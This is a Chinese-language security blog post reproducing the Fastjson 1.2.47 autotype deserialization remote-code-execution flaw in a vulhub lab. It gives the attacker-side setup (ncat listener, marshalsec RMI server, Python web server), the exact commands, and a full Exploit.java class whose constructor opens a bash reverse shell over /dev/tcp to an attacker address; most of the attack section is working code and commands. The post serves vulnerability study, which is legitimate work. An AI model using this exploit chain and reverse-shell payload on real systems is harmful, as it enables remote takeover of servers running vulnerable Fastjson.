技術分享 | Fastjson-RCE漏洞復現

廣州錦行科技發表於2021-05-26

Fastjson提供autotype功能,允許使用者在反序列化資料中透過 @type 指定反序列化的型別,其次Fastjson自定義的反序列化會呼叫指定類中的setter方法和部分getter方法。
當元件開啟autotype並且反序列化不可信的資料時,攻擊者構造的資料(惡意程式碼)會進入特定類的setter或getter方法中,可能會被惡意利用。
影響版本
Fastjson1.2.47以及之前的版本

復現

1.1 環境準備

攻擊機1

用於接受反彈shell
系統:Win10 x64
安裝nc,burpsuite
win10中需安裝nc,用於監聽反彈的shell。
在win10下,在nc官網(https://eternallybored.org/misc/netcat/)下載會報毒被攔截。
可以使用nmap中重置的ncat(https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe),與nc使用無區別。
下載後進入,ncat所在目錄,執行ncat,出現如下輸出則安裝成功



攻擊機2

提供一些必要服務
系統:Ubuntu
需安裝:marshlsec ( https://github.com/mbechler/marshalsec )(用於啟動RMI服務)、python環境(用於啟動SimpleHTTPServer服務)、openjdk
marshlsec下載後,需要使用mvn打包,無mvn命令需要安裝Maven
marshlsec下載後,進入檔案目錄執行sudo mvn clean package -DskipTests,完成後會在目錄的target目錄中發現兩個jar包



受害機

系統:Ubuntu (與上述提供RMI和Web服務的機器可以是一臺或不同)
需安裝:docker、docker-composer、vulhub

1.2 示意圖



1.3 復現流程

在 攻擊機1 開啟監聽

在受害機上啟動環境,進入vulhub中的/fastjson/1.2.47-rce/,使用如下命令啟動服務:



# docker-compose up -d
在 攻擊機1 上訪問該服務,如下則為成功



構造惡意程式碼檔案vim Exploit.java,內容如下
程式碼中192.168.253.129/6666修改為攻擊機1的ip和監聽反彈shell的埠

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.129/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

編寫完成後,對該檔案進行編譯生成對應的class檔案

# javac Exploit.java

在 攻擊機2 上啟動RMI和Web服務
· 啟動Web服務
# python -m SimpleHTTPServer 8080

使用 攻擊機1 訪問 攻擊機2開放的Web服務,如下則成功

啟動RMI服務
進入marshalsec打包好的jar包目錄執行命令,如下
192.168.253.138:8080 為上述Web服務地址和埠,需自行修改
8888 可為任意埠
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer
"http://192.168.253.138:8080/#Exploit" 8888


在 攻擊機1 上構造惡意請求







傳送請求後,等待ncat獲取反彈shell,可見在惡意程式碼中構造的命令執行,成功反彈shell,可以執行命令




相關文章